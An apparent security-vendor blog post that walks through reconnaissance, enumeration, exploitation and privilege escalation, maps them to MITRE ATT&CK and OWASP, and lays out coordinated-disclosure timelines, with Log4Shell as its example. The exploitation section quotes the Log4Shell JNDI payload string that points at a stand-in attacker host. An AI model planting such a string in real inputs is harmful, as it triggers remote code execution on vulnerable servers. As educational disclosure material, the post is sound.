Safeguard
Best Practices

Ethical hacking techniques, mapped to a responsible disclosure workflow

Recon, enumeration, exploitation, and privilege escalation aren't just attacker steps — Log4Shell's 15-day gap between private report and public exploit shows why each maps to a disclosure decision.

Safeguard Research Team
Research
6 min read

On November 24, 2021, Chen Zhaojun of Alibaba Cloud's security team privately reported a remote code execution flaw in Apache Log4j to the Apache Software Foundation. The bug, later tracked as CVE-2021-44228 and nicknamed Log4Shell, scored a maximum 10.0 on the CVSS scale — any string an application logged through a vulnerable Log4j 2.x version could trigger a lookup that fetched and executed attacker-controlled Java code. Apache shipped a patch on December 6, and by December 9 a public proof-of-concept was circulating, collapsing the gap between "known to the vendor" and "known to everyone" to roughly two weeks. That gap is the entire reason ethical hacking exists as a discipline distinct from criminal intrusion: the same four-stage methodology an attacker uses — reconnaissance, enumeration, exploitation, privilege escalation — is what a security researcher uses to find the bug first, and what happens after discovery is what separates a responsible disclosure from an incident. This post walks through each stage of that methodology, maps it to the taxonomy security teams actually use to classify what's found, and lays out the disclosure timeline norms — including Google Project Zero's 90-day policy — that govern what happens between "we found it" and "the world knows."

What happens during the reconnaissance phase?

Reconnaissance is the information-gathering stage that happens before any packet touches the target, and it splits into passive and active technique sets. Passive recon — OSINT, WHOIS lookups, DNS record enumeration, certificate transparency log searches, and even scraping job postings for the tech stack a company hires against — never sends traffic the target can detect, because the researcher only queries third-party or public records. Active recon crosses that line: port scanning, service version probing, and banner grabbing against the target's own infrastructure generate log entries and can trip intrusion detection. MITRE ATT&CK formalizes this as its own tactic, Reconnaissance (TA0043), covering techniques like gathering victim network information and searching open technical databases. The practical distinction matters for scope: a penetration test's rules of engagement typically define exactly which active-recon techniques are authorized against which IP ranges, because the same nmap scan that's a contracted deliverable on Monday is unauthorized access on Tuesday against a system outside scope.

How does enumeration differ from reconnaissance?

Enumeration goes further than reconnaissance by actively extracting structured information from services the recon phase already identified as live. Where reconnaissance tells you port 445 is open, enumeration walks the SMB protocol to list shares, usernames, and password policies; where recon finds a subdomain exists, enumeration crawls it for API endpoints, hidden parameters, and directory structures. Classic enumeration techniques include SNMP community-string walks, LDAP directory queries, and banner grabbing that reveals exact software versions — information an attacker (or researcher) needs to look up known CVEs against. MITRE ATT&CK maps this to the Discovery tactic (TA0007), which covers system, network, and account discovery techniques an adversary uses after gaining a foothold to understand the environment. The output of enumeration is a concrete attack surface: a list of services, versions, and exposed endpoints that the exploitation phase can actually target, rather than the broader topology map reconnaissance produces.

What counts as the exploitation phase?

Exploitation is the stage where a researcher or attacker actively leverages a specific misconfiguration or known vulnerability to gain unauthorized access or execute code, and it maps to MITRE ATT&CK's Initial Access (TA0001) and Execution (TA0002) tactics. The OWASP Top 10 (2021 edition) remains the standard taxonomy for the vulnerability classes exploitation targets: A01 Broken Access Control, A02 Cryptographic Failures, A03 Injection, A04 Insecure Design, A05 Security Misconfiguration, A06 Vulnerable and Outdated Components, A07 Identification and Authentication Failures, A08 Software and Data Integrity Failures, A09 Security Logging and Monitoring Failures, and A10 Server-Side Request Forgery. Log4Shell is a textbook A06 and A03 case simultaneously — a vulnerable, outdated component (Log4j's JNDI lookup feature) combined with unsanitized input (any logged string) let an attacker trigger ${jndi:ldap://attacker.com/a} and have the logging library resolve it as a remote class-loading instruction. Exploitation is also where authorization matters most: the identical technique is a paid deliverable under a signed contract and a federal crime without one.

What techniques are used for privilege escalation?

Privilege escalation is what happens after initial access, when a researcher or attacker converts limited access into broader control — and MITRE ATT&CK tracks it as its own tactic, Privilege Escalation (TA0004). Common techniques include exploiting kernel vulnerabilities to jump from a standard user to root, abusing misconfigured sudo rules or SUID binaries that run with elevated permissions, reusing credentials harvested from one system to authenticate to another with higher privileges, and impersonating access tokens left behind by privileged processes. On Log4Shell specifically, the initial JNDI-triggered code execution typically ran with whatever privileges the logging application held — so the follow-on privilege escalation step, in real intrusions that exploited it, depended entirely on how permissively the compromised service account or container was configured. This is why defense-in-depth still matters even after a specific exploitation vector is patched: privilege escalation techniques exploit the environment around a vulnerability, not the vulnerability itself.

What is the responsible disclosure timeline researchers actually follow?

The industry benchmark for coordinated disclosure comes from Google's Project Zero: a "90+30" policy giving vendors 90 days from private notification to ship a fix, followed by a further 30-day patch-adoption window before full technical details go public, plus a compressed 7-day window if Project Zero observes the vulnerability being actively exploited in the wild before a patch exists. Log4Shell didn't follow this norm cleanly — Apache had roughly 12 days between Chen Zhaojun's November 24 report and the December 6 patch, and the public PoC leaked three days after that, well before any 90-day embargo could run its course, illustrating how disclosure timelines can be overtaken by events. The general principle researchers follow regardless of exact day counts: report privately first, give the vendor a fixed and reasonable window to patch, and only publish technical details — including working exploit code — after the patch is available or the agreed window expires, whichever comes first.

How Safeguard fits into the disclosure side of this workflow

Safeguard doesn't run offensive engagements, but it operates the defensive mirror of the same disclosure discipline: a continuous zero-day research pipeline that ingests new package releases and commits, runs them through static, dynamic, and differential analysis, and only escalates a candidate finding after a human researcher validates a working reproducer and confirms a realistic exploitation path — filtering out roughly 96% of raw candidates before they ever reach the disclosure queue. Validated findings go out through coordinated channels on a 90-day default embargo to upstream maintainers, shortened when active exploitation is observed, mirroring the Project Zero norm described above. Safeguard also runs an external researcher program at research@safeguard.sh that pays bounties for validated submissions, so the same recon-enumeration-exploitation chain a researcher builds skills on can turn into a coordinated disclosure that improves the supply chain that every Safeguard customer depends on, rather than a private exploit that only benefits its finder.

Never miss an update

Weekly insights on software supply chain security, delivered to your inbox.